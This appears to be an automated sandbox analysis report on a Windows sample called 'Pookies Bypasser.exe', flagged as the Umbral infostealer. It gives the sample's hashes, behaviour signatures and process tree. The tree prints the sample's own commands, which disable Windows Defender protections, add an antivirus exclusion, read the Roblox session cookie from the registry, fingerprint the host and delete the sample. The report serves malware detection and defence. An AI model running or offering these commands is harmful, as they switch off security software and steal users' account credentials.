Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
10-05-2024 21:19
Behavioral task
behavioral1
Sample
Pookies Bypasser.exe
Resource
win7-20240508-en
General
-
Target
Pookies Bypasser.exe
-
Size
229KB
-
MD5
5dcae9f331eabd47b8a078fad0f812c8
-
SHA1
39baa462feac529cc7d907a9bc7028444748992e
-
SHA256
6594aa4b2efc8137b453fe978ae2ff5ae6f055e4d79539fa4804933e208ffdf4
-
SHA512
3ae8037c1bb7e48a2e0d1d8a06faba35bd998c6dda8f5c8dbe8a7cfae51e8c5f8ce6da3ba379a8690549a6bb5b2c9ef05b703aa34eaeabdc9ebb952dc083d756
-
SSDEEP
6144:VloZM+rIkd8g+EtXHkv/iD4S2eNiAfboSxUyzzqbKb8e1mri:3oZtL+EP8S2eNiAfboSxUyzzqyZ
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2980-1-0x0000000001320000-0x0000000001360000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2572 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Pookies Bypasser.exe -
Deletes itself 1 IoCs
pid Process 2060 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 7 discord.com 8 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2012 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1292 PING.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2980 Pookies Bypasser.exe 2572 powershell.exe 2728 powershell.exe 1944 powershell.exe 2784 powershell.exe 680 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2980 Pookies Bypasser.exe Token: SeIncreaseQuotaPrivilege 2600 wmic.exe Token: SeSecurityPrivilege 2600 wmic.exe Token: SeTakeOwnershipPrivilege 2600 wmic.exe Token: SeLoadDriverPrivilege 2600 wmic.exe Token: SeSystemProfilePrivilege 2600 wmic.exe Token: SeSystemtimePrivilege 2600 wmic.exe Token: SeProfSingleProcessPrivilege 2600 wmic.exe Token: SeIncBasePriorityPrivilege 2600 wmic.exe Token: SeCreatePagefilePrivilege 2600 wmic.exe Token: SeBackupPrivilege 2600 wmic.exe Token: SeRestorePrivilege 2600 wmic.exe Token: SeShutdownPrivilege 2600 wmic.exe Token: SeDebugPrivilege 2600 wmic.exe Token: SeSystemEnvironmentPrivilege 2600 wmic.exe Token: SeRemoteShutdownPrivilege 2600 wmic.exe Token: SeUndockPrivilege 2600 wmic.exe Token: SeManageVolumePrivilege 2600 wmic.exe Token: 33 2600 wmic.exe Token: 34 2600 wmic.exe Token: 35 2600 wmic.exe Token: SeIncreaseQuotaPrivilege 2600 wmic.exe Token: SeSecurityPrivilege 2600 wmic.exe Token: SeTakeOwnershipPrivilege 2600 wmic.exe Token: SeLoadDriverPrivilege 2600 wmic.exe Token: SeSystemProfilePrivilege 2600 wmic.exe Token: SeSystemtimePrivilege 2600 wmic.exe Token: SeProfSingleProcessPrivilege 2600 wmic.exe Token: SeIncBasePriorityPrivilege 2600 wmic.exe Token: SeCreatePagefilePrivilege 2600 wmic.exe Token: SeBackupPrivilege 2600 wmic.exe Token: SeRestorePrivilege 2600 wmic.exe Token: SeShutdownPrivilege 2600 wmic.exe Token: SeDebugPrivilege 2600 wmic.exe Token: SeSystemEnvironmentPrivilege 2600 wmic.exe Token: SeRemoteShutdownPrivilege 2600 wmic.exe Token: SeUndockPrivilege 2600 wmic.exe Token: SeManageVolumePrivilege 2600 wmic.exe Token: 33 2600 wmic.exe Token: 34 2600 wmic.exe Token: 35 2600 wmic.exe Token: SeDebugPrivilege 2572 powershell.exe Token: SeDebugPrivilege 2728 powershell.exe Token: SeDebugPrivilege 1944 powershell.exe Token: SeDebugPrivilege 2784 powershell.exe Token: SeIncreaseQuotaPrivilege 1592 wmic.exe Token: SeSecurityPrivilege 1592 wmic.exe Token: SeTakeOwnershipPrivilege 1592 wmic.exe Token: SeLoadDriverPrivilege 1592 wmic.exe Token: SeSystemProfilePrivilege 1592 wmic.exe Token: SeSystemtimePrivilege 1592 wmic.exe Token: SeProfSingleProcessPrivilege 1592 wmic.exe Token: SeIncBasePriorityPrivilege 1592 wmic.exe Token: SeCreatePagefilePrivilege 1592 wmic.exe Token: SeBackupPrivilege 1592 wmic.exe Token: SeRestorePrivilege 1592 wmic.exe Token: SeShutdownPrivilege 1592 wmic.exe Token: SeDebugPrivilege 1592 wmic.exe Token: SeSystemEnvironmentPrivilege 1592 wmic.exe Token: SeRemoteShutdownPrivilege 1592 wmic.exe Token: SeUndockPrivilege 1592 wmic.exe Token: SeManageVolumePrivilege 1592 wmic.exe Token: 33 1592 wmic.exe Token: 34 1592 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2980 wrote to memory of 2600 2980 Pookies Bypasser.exe 28 PID 2980 wrote to memory of 2600 2980 Pookies Bypasser.exe 28 PID 2980 wrote to memory of 2600 2980 Pookies Bypasser.exe 28 PID 2980 wrote to memory of 2672 2980 Pookies Bypasser.exe 31 PID 2980 wrote to memory of 2672 2980 Pookies Bypasser.exe 31 PID 2980 wrote to memory of 2672 2980 Pookies Bypasser.exe 31 PID 2980 wrote to memory of 2572 2980 Pookies Bypasser.exe 33 PID 2980 wrote to memory of 2572 2980 Pookies Bypasser.exe 33 PID 2980 wrote to memory of 2572 2980 Pookies Bypasser.exe 33 PID 2980 wrote to memory of 2728 2980 Pookies Bypasser.exe 35 PID 2980 wrote to memory of 2728 2980 Pookies Bypasser.exe 35 PID 2980 wrote to memory of 2728 2980 Pookies Bypasser.exe 35 PID 2980 wrote to memory of 1944 2980 Pookies Bypasser.exe 37 PID 2980 wrote to memory of 1944 2980 Pookies Bypasser.exe 37 PID 2980 wrote to memory of 1944 2980 Pookies Bypasser.exe 37 PID 2980 wrote to memory of 2784 2980 Pookies Bypasser.exe 39 PID 2980 wrote to memory of 2784 2980 Pookies Bypasser.exe 39 PID 2980 wrote to memory of 2784 2980 Pookies Bypasser.exe 39 PID 2980 wrote to memory of 1592 2980 Pookies Bypasser.exe 41 PID 2980 wrote to memory of 1592 2980 Pookies Bypasser.exe 41 PID 2980 wrote to memory of 1592 2980 Pookies Bypasser.exe 41 PID 2980 wrote to memory of 2188 2980 Pookies Bypasser.exe 43 PID 2980 wrote to memory of 2188 2980 Pookies Bypasser.exe 43 PID 2980 wrote to memory of 2188 2980 Pookies Bypasser.exe 43 PID 2980 wrote to memory of 844 2980 Pookies Bypasser.exe 45 PID 2980 wrote to memory of 844 2980 Pookies Bypasser.exe 45 PID 2980 wrote to memory of 844 2980 Pookies Bypasser.exe 45 PID 2980 wrote to memory of 680 2980 Pookies Bypasser.exe 47 PID 2980 wrote to memory of 680 2980 Pookies Bypasser.exe 47 PID 2980 wrote to memory of 680 2980 Pookies Bypasser.exe 47 PID 2980 wrote to memory of 2012 2980 Pookies Bypasser.exe 49 PID 2980 wrote to memory of 2012 2980 Pookies Bypasser.exe 49 PID 2980 wrote to memory of 2012 2980 Pookies Bypasser.exe 49 PID 2980 wrote to memory of 2060 2980 Pookies Bypasser.exe 51 PID 2980 wrote to memory of 2060 2980 Pookies Bypasser.exe 51 PID 2980 wrote to memory of 2060 2980 Pookies Bypasser.exe 51 PID 2060 wrote to memory of 1292 2060 cmd.exe 53 PID 2060 wrote to memory of 1292 2060 cmd.exe 53 PID 2060 wrote to memory of 1292 2060 cmd.exe 53 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2672 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2600
-
-
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"2⤵
- Views/modifies file attributes
PID:2672
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2572
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1944
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2784
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1592
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:2188
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:844
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:680
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2012
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe" && pause2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:1292
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD55da16d060663664d2d68887e841ee81d
SHA11d0313642ce6c2554f7edb8327eb7d3954081017
SHA2561e054a45538412af81a6ed7a13750000a382dba4ebf10ce03235827099cfae4e
SHA51247fa05c93cc2bdcb215925e85f2c3a68c9fa07d3df080d7fa3f1fb5f09b0880093d0ecb0bc6660b4e0dec0cd391afa5f5193a31595b469b35a4fae0b7f968888